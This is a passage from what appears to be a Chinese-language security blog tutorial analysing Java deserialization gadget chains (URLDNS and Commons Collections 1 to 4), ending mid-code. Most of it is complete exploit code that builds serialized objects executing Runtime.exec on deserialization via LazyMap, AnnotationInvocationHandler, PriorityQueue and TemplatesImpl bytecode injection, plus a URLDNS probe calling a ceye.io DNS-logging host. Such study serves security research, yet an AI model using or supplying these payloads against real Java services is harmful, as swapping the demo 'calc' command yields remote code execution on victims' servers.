@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
关键在最后一行的putval。我们先看向putval中使用了的hash方法
里面hashCode方法取决于你的key的类。此处是java.net.URL类。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
而跟进这里的handler发现调用的是java.net.URLStreamHandler的hashCode。
看到getHostAddress
.就能明白此处肯定是对域名进行了解析。所以会发出DNS请求。
不过。URLDNS的payload编写并非这么简单的一个调用就完事了的。刚刚上面我们看到。hashCode
方法里强调如果hashCode不为-1,则直接返回hashCode.而url类中它是默认为-1的。
刚刚我们说,触发点在putVal
那里。它的key是通过readObject读取出来的。那说明我们的key写入时是通过writeObject写入的。按照这个线路跟下去,会发现key值最终来自HashMap中table的值。而HashMap 中的table即hash表是通过hashmap.put来写入数据的。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
这里也调用了hash。那么说明这里也会触发dns请求
我们可以写个demo
URLDNS的payload编写并非这么简单的一个调用就完事了的。刚刚上面我们看到。hashCode
方法里强调如果hashCode不为-1,则直接返回hashCode.
所以本地写要将put的第二个参数设为-1才会发出dns请求。
package top.bycsec;
import java.util.HashMap;
import java.net.URL;
public class exp {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://byc.xxx.ceye.io/");
map.put(url,-1);
}
}
我们如果只想在对方机器上检测是否产生dns请求。那么必须得规避掉Hashmap.put这一次调用时里面做出的dns请求。方法也很简单。那就是在put前修改URL的hashCode为其他任意值,就可以在put时不触发dns查询
这一步可以通过反射来达成。
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class exp {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://byc.59fevd.ceye.io/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,123);
System.out.println(url.hashCode());
map.put(url,123);
}
}
此时调用url的hashCode结果会返回123.也就是直接返回了我们设置的值,避免了dns查询。
hashCode 这个属性不是 transient 的,而是private的。所以放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
因此。我们实际的poc如下
package top.bycsec;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://byc.59fevd.ceye.io/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 123);
map.put(url, "byc_404");
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(map);
oos.close();
}
}
这样就成功将序列化数据写入out.bin,并且没有本地发出dns请求。然后我们模拟真实场景触发
package top.bycsec;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class exp {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
ois.close();
}
}
在p1g3师傅的文章里还对ysoserial的payload进行了分析。我们不妨也看看yso的jar包中是如何书写的(其实直接去看github上源码可以配合注释更好阅读)
public Object getObject(String url) throws Exception {
URLStreamHandler handler = new URLDNS.SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL((URL)null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
static class SilentURLStreamHandler extends URLStreamHandler {
SilentURLStreamHandler() {
}
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
jar包反编译看不出提示。我们在github源码上则可以找到作者的说法
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
配合上面的源码。我们知道这里它新建了一个子类SilentURLStreamHandler继承URLStreamHandler。那当它在URLDNSpayload里调用put时是直接调用自定义的getHostAddress
.这个方法返回null.
而当反序列化执行时,因为这里的SilentURLStreamHandler属性被设置为transient,而被transient修饰的变量无法被序列化,所以最终反序列化读取出来的transient依旧是其初始值,也就是URLStreamHandler。
到此为止。我们完成了整条urldns链的分析。
gadgets如下
HashMap#readObject
HashMap#hash
URL#hashCode
URLStreamHandler#hashCode
URLStreamHandler#getHostAddress
- CommonCollections1
先说下环境的配置问题。因为cc链子好几条都只能用在jdk1.7下了所以得弄个jdk1.7的环境。开始打算用kali虚拟机现成的的jvm里的1.7,结果因为官方库已经没有openjdk7了,idea识别不到。所以只好又下了一个jdk1.7.
因为只是项目用,所以不需要添加环境变量什么的就可以了。不过需要注意的是idea项目切换jdk版本的话,尤其对于我们maven项目而言,一定要把设置里所有默认值都改为jdk1.7.包括:pom.xml里java version与maven 编译version;project structure里project sdk 以及modules;Language level;java Compiler version 全部调整为1.7才能不出错。
否则会在编译时报无效的源
以及编译完后无效的目标发行版
这两种错。
修改好后就没有什么好担心的了。开始maven导库审计吧。
pom.xml
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
<java.version>1.7</java.version>
</properties>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>
首先是一个关于动态代理的例子。
1.java中代理类的作用是:调用不可以直接被实例化的接口方法。
2.动态代理可以直接”创建”某个接口的实例,对其方法进行调用.
3.调用某个动态代理对象的方法时,都会触发代理类的invoke方法.
先定义一个接口。它有一个helloworld方法。
package top.bycsec;
public interface Hello {
void helloworld(String name);
}
接下来调用这个exp。我们可以直接实例化一个handler.它实现了InvocationHandler这个接口。同时需要重写invoke方法。此处我们让他在方法名为helloworld时输出自定义内容
然后实例化一个代理对象hello.他需要ClassLoader,要代理的接口数组以及调用接口时触发的对应方法作为构造参数。
exp
package top.bycsec;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class exp {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new InvocationHandler(){
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("helloworld")) {
System.out.println("Hello, " + args[0]);
}
return null;
}
};
Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Hello.class},handler);
hello.helloworld("byc_404");
}
}
这样在我们调用接口的helloworld时。就会触发invoke方法里的内容。
输出Hello, byc_404
接下来我们来看看cc1链子的内容。首先从执行命令的反射gadget开始。这里我确认过一遍,应该是第一部分跟CC5时就看过了。结果现在已经忘光了……所以再看一遍。
首先是commonscollections这个包里Trandsformer这个接口
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
它实现了类型转换的功能。其中实现了这个接口的类主要有三个,也就是我们后面构造payload要用到的.
InvokerTransformer
ConstantTransformer
ChainedTransformer
他们都实现了 Transformer 以及 Serializable接口。
看下他们的transform方法
InvokeTransformer
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
一个非常典型的反射调用方法的功能
ConstantTransformer
public Object transform(Object input) {
return this.iConstant;
}
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
返回某参数。如果去看了它的构造方法就会发现其实transform是一个原封不动返回的功能。
ChainedTransformer
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
执行一个for循环进行循环调用。对每个传入的transformer都调用其transform方法并作为下一次的参数。
如果直接抽象点理解,大概是能理解下面的exp的
package top.bycsec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
public class cc1 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
chain.transform(123);
}
}
整体上是一个ChainedTransformer循环调用transform的过程。其中ConstantTransformer获取到Runtime的类,后面循环调用了三个invoke获取方法执行。
下面细节化的解释下.毕竟cc链子所有命令执行部分都是这条链(没记错的话)
先说InvokeTransformer的transform方法。上面源码里说明了它主要是一个反射的过程。其接受的参数是一个对象。
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
最大的好处就是这里所有反射参数都是可控的。所以其实这里就能rce.
Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invoketransformer.transform(runtime);
只不过显然我们没有直接传入一个Runtime.getRuntime()
这样一个实例的可能。所以需要利用一下其他的类作辅助。
比如说上面提到的ConstantTransformer.其transform方法会返回自身。所以说可以
Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invoketransformer.transform(constantTransformer);
再加上ChainedTransform会调用其输入的transform这个特点,我们就可以进一步来到cc反射exp的雏形
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
chain.transform(123);
此时已不再需要输入变量为对象,而是可以为任意值(此处为123)。
只不过这里有一个问题,我们曾经说过
java反序列某类时,该类的所有属性必须是可序列化的
此处Runtime.getRuntime()还是返回了runtime对象,它不是可序列化的。即反序列化时上述exp会报错抛出NotSerializableException。
当然解决方法也很简单,不允许直接获取的话,直接动态调用就好了。也就是继续用反射获取Runtime.
所以才有了最完整的exp中
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
chain.transform(123);
第一步反射使用getMethod获取getRuntime这个方法对象。再invoke获取getRuntime的执行结果。最后直接反射执行exec calc.或者传字符串数组执行特殊命令弹shell.
到这一步为止达成了: 反序列化时执行transform方法即可rce.下面就是找可用类链子了。因为不可能直接就在readObject里调用transform吧。
下面是cc1中链子的开始。
org.apache.commons.collections.map.LazyMap 它实现了Serializable接口并存在readObject方法。
LazyMap的get方法
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
this.factory.transform(key)
就是一个调用了transform的例子。那么只要factory可控就能调用上面的反射rce了。
看下构造方法。
虽然只要实例化的话就能控制factory了。但是这不是一个public的构造方法,在java中想要获取到这个构造方法还是得用反射。
此时的exp已经可以写成
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
LazyMap map = (LazyMap)constructor.newInstance(innermap,chain);
map.get(123);
}
所以,最后也是最难的一点就是找到一个调用get并传递任意值的地方,来调用我们lazymap的get方法。这也就是作者的强大之处。
jdk1.7版本下找到的是sun.reflect.annotation.AnnotationInvocationHandler
注意你直接导入是导不了这个类的。可以在jre的rt.jar 中找到这个\sun\reflect\annotation\AnnotationInvocationHandler.class
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
......
注意这里readObject又调用了this.memberValues的entrySet
方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)
这也就是java 的动态代理机制。调用entryset这个方法实际上调用的是代理的invoke
.
invoke里又调用了memberValues的get.那么只要令memberValues为我们构造好的Lazymap对象即可
final exp
package top.bycsec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.bag.HashBag;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import sun.reflect.annotation.AnnotationParser;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.IdentityHashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
HashMap hashMap = new HashMap<String, String>();
Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Deprecated.class, proxy);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(obj);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
ois.close();
}
}
- CommonCollections2
首先注意是CommonsCollections4的依赖
起点是
java.util.PriorityQueue#readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
这里queue可控。然后一条链走向heapify => siftDown => siftDownUsingComparator => comparator.compare
这里就可以开启新的gadget了。比如cc2链子中使用的是
org.apache.commons.collections4.comparators.TransformingComparator 的同名compare方法。
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
transform方法的作用自然是之前的一套反射组合拳进行rce了。所以需要transformer
可控。而从构造方法去看的话会发现也是可控的。
这里就可以写一个exp
package top.bycsec;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
这里首先注意queue加了两个元素,这是因为size不大于1的话无法进入siftDown方法。然后queue.add这段代码不能放到反射实例化comparator的后面。因为代码段中如果comparator不为null会放不进去元素。
然后其实上面这个exp并不是ysoserial CC2的exp链子。它使用的是javassist + TemplatesImpl。首先简单说明下javassist,它提供了修改字节码的功能。
比如我们手动生成一个byc404.class
package top.bycsec;
import javassist.*;
public class cc2 {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("byc");
String cmd = "System.out.println(\"evil code\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String ClassName = "byc404";
cc.setName(ClassName);
// 写入.class 文件
cc.writeFile();
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
像这样能够直接控制static方法的话,那么它在实例化时就会被直接执行。
接下来看看它真正的核心TemplatesImpl的使用
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
跟进getTransletInstance
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
这里defineTransletClasses()可以还原bytecode为class.后面的newInstance()则可以实例化这个class.在这个实例化的过程中static方法就会执行。所以达成了一个任意命令执行的效果。
再稍微多回顾下前面我们达到的进度,就是我们已经可以任意调用transform了,只需一个可控对象。那么这里再用之前经常用到的InvokerTransformer.transform反射来调用TemplatesImpl.newtransformer
最终exp
package top.bycsec;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2 {
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("byc");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "byc404" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
这个exp几个细节还是值得说明一下的。不过我还是偷懒下不深入了,就当做一些注意事项简单说明下。
1.为了进入defineTransletClasses
需要把恶意类的父类设置为AbstractTranslet。否则_transletIndex会小于0爆出错误。
2.通过反射的方式来设置queue的值,而是直接add。这里我们queue的第一个元素是templates即TemplatesImpl.class.newInstance();。这是一个类。而第二个元素是1.这两个元素在add时会出现比较出错。所以得保证类型一致。不过还有一个方法就是里面放两个一样的元素即都为template.
- CommonsCollections3
CC3又回到了CommonsCollections3.1的依赖。
有点像CC1+CC2。用到了两个链子的关键内容。
区别在于用了TrAXFilter调用newTransformer()
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
然后不同于以外的InvokeTransformer,它改用了InstantiateTransformer.其transform方法如下
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
这里创建了类实例,如果把input设置为TrAXFilter,那么就会在这里实例化的时候调用其构造方法,触发TemplatesImpl#newTransformer。
exp
package top.bycsec;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("byc");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "byc404" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Deprecated.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Deprecated.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
- CommonsCollections4
依赖环境变为Commons Collections 4.0
似乎就是个杂交……因为依赖变为4.0了。直接使用CC2 中的queue+ CC3中的transform调用。
exp
package top.bycsec;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("byc");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "byc404" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
